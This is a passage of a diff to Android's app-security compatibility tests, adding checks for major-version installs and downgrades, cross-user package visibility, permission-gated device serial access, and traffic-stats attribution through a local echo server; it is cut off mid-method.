+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/MajorVersionTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+/**
+ * Test that install of apps using major version codes is being handled properly.
+ */
+public class MajorVersionTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
+ private static final String PKG = "com.android.cts.majorversion";
+ private static final String APK_000000000000ffff = "CtsMajorVersion000000000000ffff.apk";
+ private static final String APK_00000000ffffffff = "CtsMajorVersion00000000ffffffff.apk";
+ private static final String APK_000000ff00000000 = "CtsMajorVersion000000ff00000000.apk";
+ private static final String APK_000000ffffffffff = "CtsMajorVersion000000ffffffffff.apk";
+
+ private IAbi mAbi;
+ private CompatibilityBuildHelper mBuildHelper;
+
+ @Override
+ public void setAbi(IAbi abi) {
+ mAbi = abi;
+ }
+
+ @Override
+ public void setBuild(IBuildInfo buildInfo) {
+ mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ Utils.prepareSingleUser(getDevice());
+ assertNotNull(mAbi);
+ assertNotNull(mBuildHelper);
+
+ getDevice().uninstallPackage(PKG);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+
+ getDevice().uninstallPackage(PKG);
+ }
+
+ public void testInstallMinorVersion() throws Exception {
+ assertNull(getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ getDevice().uninstallPackage(PKG);
+ }
+
+ public void testInstallMajorVersion() throws Exception {
+ assertNull(getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_000000ff00000000), false, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ getDevice().uninstallPackage(PKG);
+ }
+
+ public void testInstallUpdateAcrossMinorMajorVersion() throws Exception {
+ assertNull(getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_000000000000ffff), false, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ assertNull(getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ assertNull(getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ assertNull(getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_000000ffffffffff), true, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ getDevice().uninstallPackage(PKG);
+ }
+
+ public void testInstallDowngradeAcrossMajorMinorVersion() throws Exception {
+ assertNull(getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_000000ffffffffff), false, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_00000000ffffffff), true, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_000000ff00000000), true, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ assertEquals("INSTALL_FAILED_VERSION_DOWNGRADE", getDevice().installPackage(
+ mBuildHelper.getTestFile(APK_000000000000ffff), true, false));
+ assertTrue(getDevice().getInstalledPackageNames().contains(PKG));
+ runVersionDeviceTests("testCheckVersion");
+ getDevice().uninstallPackage(PKG);
+ }
+
+ private void runVersionDeviceTests(String testMethodName)
+ throws DeviceNotAvailableException {
+ runDeviceTests(PKG, PKG + ".VersionTest", testMethodName);
+ }
+
+ private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+ throws DeviceNotAvailableException {
+ Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
index 033f257..5bb70d1 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -16,11 +16,21 @@
package android.appsecurity.cts;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Tests for visibility of packages installed in one user, in a different user.
*/
+@RunWith(DeviceJUnit4ClassRunner.class)
public class PackageVisibilityTest extends BaseAppSecurityTest {
private static final String TINY_APK = "CtsPkgInstallTinyApp.apk";
@@ -35,8 +45,8 @@
private int[] mUsers;
private String mOldVerifierValue;
- public void setUp() throws Exception {
- super.setUp();
+ @Before
+ public void setUpPackage() throws Exception {
mUsers = Utils.prepareMultipleUsers(getDevice());
mOldVerifierValue =
@@ -47,14 +57,15 @@
installTestAppForUser(TEST_APK, mPrimaryUserId);
}
+ @After
public void tearDown() throws Exception {
getDevice().uninstallPackage(TEST_PKG);
getDevice().uninstallPackage(TINY_PKG);
getDevice().executeShellCommand("settings put global package_verifier_enable "
+ mOldVerifierValue);
- super.tearDown();
}
+ @Test
public void testUninstalledPackageVisibility() throws Exception {
if (!mSupportsMultiUser) {
return;
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index caabeb5..28c44fc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -46,6 +46,10 @@
private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
"CtsEscalateToRuntimePermissions.apk";
+ private static final String APK_ACCESS_SERIAL_LEGACY = "CtsAccessSerialLegacy.apk";
+ private static final String APK_ACCESS_SERIAL_MODERN = "CtsAccessSerialModern.apk";
+ private static final String ACCESS_SERIAL_PKG = "android.os.cts";
+
private static final String SCREEN_OFF_TIMEOUT_NS = "system";
private static final String SCREEN_OFF_TIMEOUT_KEY = "screen_off_timeout";
private String mScreenTimeoutBeforeTest;
@@ -74,6 +78,7 @@
getDevice().uninstallPackage(USES_PERMISSION_PKG);
getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+ getDevice().uninstallPackage(ACCESS_SERIAL_PKG);
// Set screen timeout to 30 min to not timeout while waiting for UI to change
mScreenTimeoutBeforeTest = getDevice().getSetting(SCREEN_OFF_TIMEOUT_NS,
@@ -95,6 +100,7 @@
getDevice().uninstallPackage(USES_PERMISSION_PKG);
getDevice().uninstallPackage(ESCALATE_PERMISSION_PKG);
getDevice().uninstallPackage(PERMISSION_POLICY_25_PKG);
+ getDevice().uninstallPackage(ACCESS_SERIAL_PKG);
}
public void testFail() throws Exception {
@@ -347,6 +353,30 @@
"testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
}
+ public void testLegacyAppAccessSerial() throws Exception {
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_PERMISSION_POLICY_25), false, false));
+ runDeviceTests(PERMISSION_POLICY_25_PKG,
+ "com.android.cts.permission.policy.PermissionPolicyTest25",
+ "testNoProtectionFlagsAddedToNonSignatureProtectionPermissions");
+ }
+
+ public void testSerialAccessPolicy() throws Exception {
+ // Verify legacy app behavior
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ACCESS_SERIAL_LEGACY), false, false));
+ runDeviceTests(ACCESS_SERIAL_PKG,
+ "android.os.cts.AccessSerialLegacyTest",
+ "testAccessSerialNoPermissionNeeded");
+
+ // Verify modern app behavior
+ assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
+ APK_ACCESS_SERIAL_MODERN), true, false));
+ runDeviceTests(ACCESS_SERIAL_PKG,
+ "android.os.cts.AccessSerialModernTest",
+ "testAccessSerialPermissionNeeded");
+ }
+
private void runDeviceTests(String packageName, String testClassName, String testMethodName)
throws DeviceNotAvailableException {
Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
index fa0120d..c5edf05 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/StorageHostTest.java
@@ -16,9 +16,13 @@
package android.appsecurity.cts;
-import com.android.compatibility.common.tradefed.testtype.CompatibilityHostTestBase;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import junit.framework.AssertionFailedError;
@@ -27,13 +31,13 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.concurrent.TimeUnit;
+import java.util.Map;
/**
* Tests that exercise various storage APIs.
*/
@RunWith(DeviceJUnit4ClassRunner.class)
-public class StorageHostTest extends CompatibilityHostTestBase {
+public class StorageHostTest extends BaseHostJUnit4Test {
private static final String PKG_STATS = "com.android.cts.storagestatsapp";
private static final String PKG_A = "com.android.cts.storageapp_a";
private static final String PKG_B = "com.android.cts.storageapp_b";
@@ -236,7 +240,22 @@
public void runDeviceTests(String packageName, String testClassName, String testMethodName,
int userId) throws DeviceNotAvailableException {
- Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, null,
- 20L, TimeUnit.MINUTES);
+ if (!runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId, 20 * 60 * 1000L)) {
+ TestRunResult res = getLastDeviceRunResults();
+ if (res != null) {
+ StringBuilder errorBuilder = new StringBuilder("on-device tests failed:\n");
+ for (Map.Entry<TestIdentifier, TestResult> resultEntry :
+ res.getTestResults().entrySet()) {
+ if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+ errorBuilder.append(resultEntry.getKey().toString());
+ errorBuilder.append(":\n");
+ errorBuilder.append(resultEntry.getValue().getStackTrace());
+ }
+ }
+ throw new AssertionError(errorBuilder.toString());
+ } else {
+ throw new AssertionFailedError("Error when running device tests.");
+ }
+ }
}
}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
index 67ee091..8bad048 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/Utils.java
@@ -32,26 +32,6 @@
public class Utils {
public static final int USER_SYSTEM = 0;
- public static void runDeviceTests(ITestDevice device, String packageName)
- throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, null, null, USER_SYSTEM, null);
- }
-
- public static void runDeviceTests(ITestDevice device, String packageName, int userId)
- throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, null, null, userId, null);
- }
-
- public static void runDeviceTests(ITestDevice device, String packageName, String testClassName)
- throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, testClassName, null, USER_SYSTEM, null);
- }
-
- public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
- int userId) throws DeviceNotAvailableException {
- runDeviceTests(device, packageName, testClassName, null, userId, null);
- }
-
public static void runDeviceTests(ITestDevice device, String packageName, String testClassName,
String testMethodName) throws DeviceNotAvailableException {
runDeviceTests(device, packageName, testClassName, testMethodName, USER_SYSTEM, null);
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
new file mode 100644
index 0000000..e4b7962
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsAccessSerialLegacy
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
new file mode 100644
index 0000000..6976c56
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.cts">
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27" />
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.os.cts" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java
new file mode 100644
index 0000000..6dd97c3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialLegacy/src/android/os/cts/AccessSerialLegacyTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.os.Build;
+import org.junit.Test;
+
+/**
+ * Test that legacy apps can access the device serial without the phone permission.
+ */
+public class AccessSerialLegacyTest {
+ @Test
+ public void testAccessSerialNoPermissionNeeded() throws Exception {
+ // Build.SERIAL should provide the device serial for legacy apps.
+ // We don't know the serial but know that it should not be the dummy
+ // value returned to unauthorized callers, so make sure not that value
+ assertTrue("Build.SERIAL must be visible to legacy apps",
+ !Build.UNKNOWN.equals(Build.SERIAL));
+
+ // We don't have the READ_PHONE_STATE permission, so this should throw
+ try {
+ Build.getSerial();
+ fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+ } catch (SecurityException e) {
+ /* expected */
+ }
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
new file mode 100644
index 0000000..20d51b6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test \
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsAccessSerialModern
+
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
new file mode 100644
index 0000000..087aa21
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.cts">
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28" />
+
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+
+ <application/>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.os.cts" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
new file mode 100644
index 0000000..df8ed97
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AccessSerialModern/src/android/os/cts/AccessSerialModernTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+
+import android.Manifest;
+import android.os.Build;
+import android.support.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
+import org.junit.Test;
+
+import java.io.IOException;
+
+/**
+ * Test that legacy apps can access the device serial without the phone permission.
+ */
+public class AccessSerialModernTest {
+ @Test
+ public void testAccessSerialPermissionNeeded() throws Exception {
+ // Build.SERIAL should not provide the device serial for modern apps.
+ // We don't know the serial but know that it should be the dummy
+ // value returned to unauthorized callers, so make sure that value
+ assertTrue("Build.SERIAL must not work for modern apps",
+ Build.UNKNOWN.equals(Build.SERIAL));
+
+ // We don't have the read phone state permission, so this should throw
+ try {
+ Build.getSerial();
+ fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+ } catch (SecurityException e) {
+ /* expected */
+ }
+
+ // Now grant ourselves READ_PHONE_STATE
+ grantReadPhoneStatePermission();
+
+ // Build.SERIAL should not provide the device serial for modern apps.
+ assertTrue("Build.SERIAL must not work for modern apps",
+ Build.UNKNOWN.equals(Build.SERIAL));
+
+ // We have the READ_PHONE_STATE permission, so this should not throw
+ try {
+ assertTrue("Build.getSerial() must work for apps holding READ_PHONE_STATE",
+ !Build.UNKNOWN.equals(Build.getSerial()));
+ } catch (SecurityException e) {
+ fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+ }
+ }
+
+ private void grantReadPhoneStatePermission() throws IOException {
+ SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+ "pm grant " + InstrumentationRegistry.getContext().getPackageName()
+ + " " + Manifest.permission.READ_PHONE_STATE);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index ffc104e..6a846fc 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -22,6 +22,8 @@
created by com.android.cts.appwithdata.
-->
+ <uses-permission android:name="android.permission.INTERNET"/>
+
<application>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
index 0867968..8c5b768 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
@@ -16,17 +16,25 @@
package com.android.cts.appaccessdata;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.TrafficStats;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.test.AndroidTestCase;
+
import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
-
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.test.AndroidTestCase;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.SocketAddress;
/**
* Test that another app's private data cannot be accessed, while its public data can.
@@ -51,6 +59,8 @@
*/
private static final String PUBLIC_FILE_NAME = "public_file.txt";
+ private static final Uri PRIVATE_TARGET = Uri.parse("content://com.android.cts.appwithdata/");
+
/**
* Tests that another app's private data cannot be accessed. It includes file
* and detailed traffic stats.
@@ -68,7 +78,6 @@
} catch (FileNotFoundException | SecurityException e) {
// expected
}
- accessPrivateTrafficStats();
}
private ApplicationInfo getApplicationInfo(String packageName) {
@@ -97,7 +106,7 @@
}
}
- private void accessPrivateTrafficStats() throws IOException {
+ public void testAccessPrivateTrafficStats() throws IOException {
int otherAppUid = -1;
try {
otherAppUid = getContext()
@@ -121,4 +130,46 @@
fail("Was not able to access qtaguid/stats: " + e);
}
}
+
+ public void testTrafficStatsStatsUidSelf() throws Exception {
+ final int uid = android.os.Process.myUid();
+ final long rxb = TrafficStats.getUidRxBytes(uid);
+ final long rxp = TrafficStats.getUidRxPackets(uid);
+ final long txb = TrafficStats.getUidTxBytes(uid);
+ final long txp = TrafficStats.getUidTxPackets(uid);
+
+ // Start remote server
+ final int port = getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
+ .getInt("port");
+
+ // Try talking to them, but shift blame
+ try {
+ final Socket socket = new Socket();
+ socket.setTcpNoDelay(true);
+
+ Bundle extras = new Bundle();
+ extras.putParcelable("fd", ParcelFileDescriptor.fromSocket(socket));
+ getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
+
+ socket.connect(new InetSocketAddress("localhost", port));
+
+ socket.getOutputStream().write(42);
+ socket.getOutputStream().flush();
+ final int val = socket.getInputStream().read();
+ assertEquals(42, val);
+ socket.close();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ } finally {
+ getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
+ }
+
+ SystemClock.sleep(1000);
+
+ // Since we shifted blame, our stats shouldn't have changed
+ assertEquals(rxb, TrafficStats.getUidRxBytes(uid));
+ assertEquals(rxp, TrafficStats.getUidRxPackets(uid));
+ assertEquals(txb, TrafficStats.getUidTxBytes(uid));
+ assertEquals(txp, TrafficStats.getUidTxPackets(uid));
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index 598ebe7..2accec1 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -23,8 +23,14 @@
-->
<uses-permission android:name="android.permission.INTERNET" />
+
<application>
<uses-library android:name="android.test.runner" />
+
+ <provider
+ android:name="com.android.cts.appwithdata.MyProvider"
+ android:authorities="com.android.cts.appwithdata"
+ android:exported="true" />
</application>
<instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/src/com/android/cts/appwithdata/MyProvider.java b/hostsidetests/appsecurity/test-apps/AppWithData/src/com/android/cts/appwithdata/MyProvider.java
new file mode 100644
index 0000000..135c27c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/src/com/android/cts/appwithdata/MyProvider.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appwithdata;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.TrafficStats;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+
+public class MyProvider extends ContentProvider {
+ private static final String TAG = "CTS";
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+
+ @Override
+ public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+ String sortOrder) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public String getType(Uri uri) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public Uri insert(Uri uri, ContentValues values) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int delete(Uri uri, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+ throw new UnsupportedOperationException();
+ }
+
+ @Override
+ public Bundle call(String method, String arg, Bundle extras) {
+ Log.v(TAG, "call() " + method);
+ switch (method) {
+ case "start": {
+ server = new EchoServer();
+ server.start();
+ extras = new Bundle();
+ extras.putInt("port", server.server.getLocalPort());
+ return extras;
+ }
+ case "stop": {
+ server.halt();
+ return null;
+ }
+ case "tag": {
+ Log.v(TAG, "My UID is " + android.os.Process.myUid());
+ TrafficStats.setThreadStatsUidSelf();
+ try {
+ final ParcelFileDescriptor pfd = extras.getParcelable("fd");
+ TrafficStats.tagFileDescriptor(pfd.getFileDescriptor());
